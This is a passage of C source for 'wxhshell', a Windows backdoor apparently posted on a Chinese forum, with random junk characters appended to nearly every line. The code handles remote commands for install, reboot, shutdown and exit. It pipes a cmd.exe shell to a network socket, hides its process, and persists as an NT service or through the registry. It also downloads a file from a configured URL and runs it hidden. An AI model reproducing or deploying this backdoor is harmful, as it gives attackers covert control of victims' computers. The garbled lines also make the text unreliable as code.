  \&ZEIAe  
  // 帮助 ka ;=%*7T  
  case '?': { JRZp 'Ln  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U /~uu  
    break; q8;MPXSG3  
  } 4`fV_H.8  
  // 安装 4sRg+mMI  
  case 'i': { }m%&|:PH  
    if(Install()) $/5\Hg1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eOkiB!G.  
    else ;T8(byH ?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S#HeOPRL  
    break; @'GPZpbvZ  
    } F?6Q(mRl  
  // 卸载 v^F00@2I  
  case 'r': { 7/k7V)  
    if(Uninstall()) 5JK'2J&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %g89eaEZ  
    else B!8X?8D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8faT@J'e;  
    break; $ <C",&  
    } iQT0%WaHl  
  // 显示 wxhshell 所在路径 }~ N\A  
  case 'p': { Ea'jAIFPpO  
    char svExeFile[MAX_PATH]; \/gf_R_GN  
    strcpy(svExeFile,"\n\r"); 05\0g9  
      strcat(svExeFile,ExeFile); 'irwecd8  
        send(wsh,svExeFile,strlen(svExeFile),0); *:"60fkoU  
    break; f\Hw Y)^>  
    } f#m@eb  
  // 重启 4,h)<(d{  
  case 'b': { 8;c\} D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Qp)?wny4  
    if(Boot(REBOOT)) |`Yn'Mj8rm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Oq8A.daJ  
    else { "UhE'\()  
    closesocket(wsh); A #m_w*  
    ExitThread(0); N;BuBm5K  
    } 1>Vq<z  
    break; v6Y[_1  
    } rz-61A) _  
  // 关机 K`uPPyv  
  case 'd': { Nq\)o{<1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `.3.n8V  
    if(Boot(SHUTDOWN)) ADB)-!$xoi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O;McPw<&\:  
    else { 2@pEiq3  
    closesocket(wsh); "x HK*  
    ExitThread(0); U 0~BcFpD  
    } zSk`Ou8M  
    break; %[9ty`UE  
    } MtF0/aT  
  // 获取shell 8fBhX,1  
  case 's': { V m8dX?  
    CmdShell(wsh); "oFi+']*  
    closesocket(wsh); . .S3-(xW  
    ExitThread(0); UzIE,A  
    break; >"b\$",~6  
  } c&wiTvRV  
  // 退出 w^ofH-R/  
  case 'x': { uTPAf^|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :pz@'J  
    CloseIt(wsh); i O?f&u  
    break; `,/5skeJ  
    } f\q5{#"z  
  // 离开 p1i}fGS  
  case 'q': { re#]zc<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =A{'57yP  
    closesocket(wsh); *)I^+zN  
    WSACleanup(); >+.GBf<E  
    exit(1); Uam %u  
    break; $)PS#ND&  
        } )b=vBs`%  
  } s6 (md<r  
  } _/cX!/"  
QlR~rFs9t  
  // 提示信息 j%Z5[{!/,X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C2=PGq  
} matm>3n  
  } B"#pvJN  
<|X+T,  
  return; 5M #',(X  
} w2/3[VZ}l  
v,ni9DIu  
// shell模块句柄 AFvv+ ss  
int CmdShell(SOCKET sock) 5rCJIl.  
{ f? GoBh<  
STARTUPINFO si; $ve$Sq  
ZeroMemory(&si,sizeof(si)); i[FYR;C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~]?EV?T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KHC Fz  
PROCESS_INFORMATION ProcessInfo; !Y7$cU &  
char cmdline[]="cmd"; y!R9)=/M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4MW oGV9  
  return 0; fl9VokAT  
} _?'W30Dg  
#*"V'dj;e  
// 自身启动模式 cq gCcO ,  
int StartFromService(void) AGS(ud{  
{ (e!Yu#-  
typedef struct SAf)#HXa  
{ /n>vPJvz  
  DWORD ExitStatus; G973n  
  DWORD PebBaseAddress; #r?[@aJ  
  DWORD AffinityMask; P ecZuv  
  DWORD BasePriority; UGgo;e  
  ULONG UniqueProcessId; KC2Z@  
  ULONG InheritedFromUniqueProcessId; fz|_c*&64  
}   PROCESS_BASIC_INFORMATION; 7P*\|Sxk%  
0]MD ?6-  
PROCNTQSIP NtQueryInformationProcess; r)Zk-!1  
./0wt+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AS~!YR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %{:pBt:Z  
h <$%y(lP  
  HANDLE             hProcess; N `fFYO  
  PROCESS_BASIC_INFORMATION pbi; kX}sDvP3  
+\&6Zbn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4tUt"N  
  if(NULL == hInst ) return 0; n4 N6]W\5  
ed_+bCNy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZfVY:U:o>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F|.tn`j]U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 60A!Gob  
4t/?b  
  if (!NtQueryInformationProcess) return 0; ev+H{5W8  
h?B1Emlq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l. l)w  
  if(!hProcess) return 0; EowzEGq!a5  
=OPX9oG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ! os@G  
>mJ`904L  
  CloseHandle(hProcess); 'X6Y!VDd  
JgKhrDx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Df*<3G  
if(hProcess==NULL) return 0; KQ81Oxu*C  
tf8xc  
HMODULE hMod; Fi;OZ>;a  
char procName[255]; H`URJ8k$Q  
unsigned long cbNeeded; 4/mz>eK"  
Ya!e8 3-r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ki Kw,@  
(0`w.n  
  CloseHandle(hProcess); B|$o.$5  
kdV9F  
if(strstr(procName,"services")) return 1; // 以服务启动 7w8UnPuM  
uW#s;1H.)  
  return 0; // 注册表启动 hm0A%Js  
} D2gyn-]\  
um_J%v6ER  
// 主模块 y3QS! 3I  
int StartWxhshell(LPSTR lpCmdLine) *f>\X[wN  
{ Jq?zr]"A  
  SOCKET wsl; a'Zw^g  
BOOL val=TRUE; Wc!]X.|9*  
  int port=0; HyKA+ 7}  
  struct sockaddr_in door; 1n7'\esC*  
9Hb|$/FD  
  if(wscfg.ws_autoins) Install(); {.KD#W $5  
P2C>IS  
port=atoi(lpCmdLine); P{_%p<:V  
I\c7V~^hnG  
if(port<=0) port=wscfg.ws_port; ONy\/lu|  
E.ji;5  
  WSADATA data; t?Q bi)T=z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >BK/HuS  
wqV"fZA\]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x^pt^KR;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #G`K<%{?f  
  door.sin_family = AF_INET; 5VQ-D`kE+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B>=D$*_  
  door.sin_port = htons(port); =2NrmwWZs  
W+U0Y,N6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JZ5";*,  
closesocket(wsl); birc&<  
return 1; -U A &Zt  
} JXq!v:w6  
B)L0hi  
  if(listen(wsl,2) == INVALID_SOCKET) { 'r\RN\PT  
closesocket(wsl); I^u~r.  
return 1; Kr1Y3[iNv  
} `#8kJt  
  Wxhshell(wsl); l Ib d9F  
  WSACleanup(); !]D`|HoW  
UQ7]hX9  
return 0; BOcD?rrZ0  
-KfK~P3PF  
} 4e AMb  
>b=."i  
// 以NT服务方式启动 j&Xx{ 4v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h*!oHS~/l  
{ >G%oWRk  
DWORD   status = 0; =mPe wx'  
  DWORD   specificError = 0xfffffff; )X|)X,~+-  
`zw%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fc<y(uX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3"v>y]$U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ']I!1>v$[  
  serviceStatus.dwWin32ExitCode     = 0; o~\.jQQxa  
  serviceStatus.dwServiceSpecificExitCode = 0; _-543B}  
  serviceStatus.dwCheckPoint       = 0; y06**f)  
  serviceStatus.dwWaitHint       = 0; Tbv w?3  
~tRGw^<9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Is<XMR|{  
  if (hServiceStatusHandle==0) return; j%w^8}U>G  
hAc|a9 o  
status = GetLastError(); *V\.6,^v  
  if (status!=NO_ERROR) EU|IzUjFj|  
{ (S+/e5c)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JR15y3 F  
    serviceStatus.dwCheckPoint       = 0; EQd<!)HZ  
    serviceStatus.dwWaitHint       = 0; 1y wdcg  
    serviceStatus.dwWin32ExitCode     = status; 19y,O0# _  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3#dz6+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cc%{e9e*  
    return; @H4]Gp ]  
  } fsw[ R0B  
b6Z3(!] ]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |#< z\u }  
  serviceStatus.dwCheckPoint       = 0; ` V [4  
  serviceStatus.dwWaitHint       = 0; C,$o+q*)W9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w%iw xo   
} 2@ 9?~?r  
G/(,,T}eG  
// 处理NT服务事件,比如:启动、停止 %D:VcY9OC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S$$SLy:P  
{ Cojs;`3iF:  
switch(fdwControl) t^zE^:06  
{ :3 Hz!iZM  
case SERVICE_CONTROL_STOP: 2PRiiL@  
  serviceStatus.dwWin32ExitCode = 0; d4^x,hzV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =7H\llL4BC  
  serviceStatus.dwCheckPoint   = 0; _&9P&Zf4  
  serviceStatus.dwWaitHint     = 0; [TUs^%2@  
  { 7qUg~GJX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rTVv6:L  
  } ZN;ondp4  
  return; ISFNP&& K  
case SERVICE_CONTROL_PAUSE: 3BD&;.<r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [r3sk24  
  break; Eri007?D  
case SERVICE_CONTROL_CONTINUE: $%"hhju  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N"G\ H<n  
  break; r6 3l(  
case SERVICE_CONTROL_INTERROGATE: w2XHY>6];  
  break; z[<Na3]  
}; Bt,'g* Cs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s5mJ -  
} 3F!)7  
lMu-,Z="  
// 标准应用程序主函数 ,tg]Gt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $MwBt  
{ fmQif]J;;  
H? Q--pG8  
// 获取操作系统版本 hE`d@  
OsIsNt=GetOsVer(); !z4I-a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >bQOpGy}l  
fjy\Q  
  // 从命令行安装 ]u$tKC  
  if(strpbrk(lpCmdLine,"iI")) Install(); j$/#2%OVN  
U\qbr.<  
  // 下载执行文件 b1i~F45h  
if(wscfg.ws_downexe) { e Ru5/y~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HK<S|6B7V  
  WinExec(wscfg.ws_filenam,SW_HIDE); '<<@@.(f  
} {^N,$,Ab.  
O#18a,o@  
if(!OsIsNt) { DeNWh2  
// 如果时win9x,隐藏进程并且设置为注册表启动 [f  lK  
HideProc(); $/g`{O I]K  
StartWxhshell(lpCmdLine); k \T]*A  
} G<<; a  
else Q(yg bT  
  if(StartFromService()) wXqwb|2  
  // 以服务方式启动 iV?8'^  
  StartServiceCtrlDispatcher(DispatchTable); ^lZ7%6  
else pKj:)6t"  
  // 普通方式启动 Z]TQ+9t  
  StartWxhshell(lpCmdLine); Y%eW6Y#  
^w``(-[*  
return 0; >#;;g2UV  
}
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只看该作者 1 发表于: 2006-10-10
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